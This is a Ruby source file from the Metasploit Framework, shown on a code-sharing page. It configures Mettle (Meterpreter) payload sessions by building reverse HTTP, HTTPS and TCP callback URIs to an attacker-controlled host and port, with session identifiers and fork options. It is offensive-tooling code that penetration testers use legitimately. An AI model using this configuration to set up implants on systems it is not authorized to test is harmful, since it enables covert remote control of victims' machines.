Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/base/sessions/mettle_config.rb
Views: 11784
# -*- coding: binary -*-12require 'base64'3require 'securerandom'45module Msf6module Sessions7module MettleConfig89include Msf::Payload::TransportConfig1011def initialize(info = {})12super1314register_advanced_options(15[16OptBool.new(17'MeterpreterTryToFork',18'Fork a new process if the functionality is available',19default: false20)21]22)23end2425def generate_uri(opts={})26ds = opts[:datastore] || datastore27uri_req_len = ds['StagerURILength'].to_i2829# Choose a random URI length between 30 and 128 bytes30if uri_req_len == 031uri_req_len = 30 + luri.length + rand(127 - (30 + luri.length))32end3334if uri_req_len < 535raise ArgumentError, "Minimum StagerURILength is 5"36end3738generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid])39end4041def generate_uri_option(opts, opt)42opts[opt] ? "--#{opt} '#{opts[opt].gsub(/'/, "\\'")}' " : ''43end4445def generate_http_uri(opts)46if Rex::Socket.is_ipv6?(opts[:lhost])47target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]"48else49target_uri = "#{opts[:scheme]}://#{opts[:lhost]}"50end5152target_uri << ':'53target_uri << opts[:lport].to_s54target_uri << luri55target_uri << generate_uri(opts)56target_uri << '|'57target_uri << generate_uri_option(opts, :ua)58target_uri << generate_uri_option(opts, :host)59target_uri << generate_uri_option(opts, :referer)60if opts[:cookie]61opts[:header] = "Cookie: #{opts[:cookie]}"62target_uri << generate_uri_option(opts, :header)63end64target_uri.strip65end6667def generate_tcp_uri(opts)68if Rex::Socket.is_ipv6?(opts[:lhost])69target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]"70else71target_uri = "#{opts[:scheme]}://#{opts[:lhost]}"72end73target_uri << ':'74target_uri << opts[:lport].to_s75target_uri76end7778def generate_config(opts={})79ds = opts[:datastore] || datastore8081opts[:background] = ds['MeterpreterTryToFork'] ? 1 : 08283if ds['PayloadProcessCommandLine'] != ''84opts[:name] ||= ds['PayloadProcessCommandLine']85end8687opts[:uuid] ||= generate_payload_uuid8889case opts[:scheme]90when 'http'91opts[:uri] = generate_http_uri(transport_config_reverse_http(opts))92when 'https'93opts[:uri] = generate_http_uri(transport_config_reverse_https(opts))94when 'tcp'95opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts))96else97raise ArgumentError, "Unknown scheme: #{opts[:scheme]}"98end99100opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip101guid = "\x00" * 16102unless opts[:stageless] == true103guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')104end105opts[:session_guid] = Base64.encode64(guid).strip106107opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background)108end109110# Stage encoding is not safe for Mettle (doesn't apply to stageless)111def encode_stage?112if datastore['EnableStageEncoding'] && !@warned113print_warning("Stage encoding is not supported for #{refname}")114@warned = true115end116117false118end119120end121end122end123124125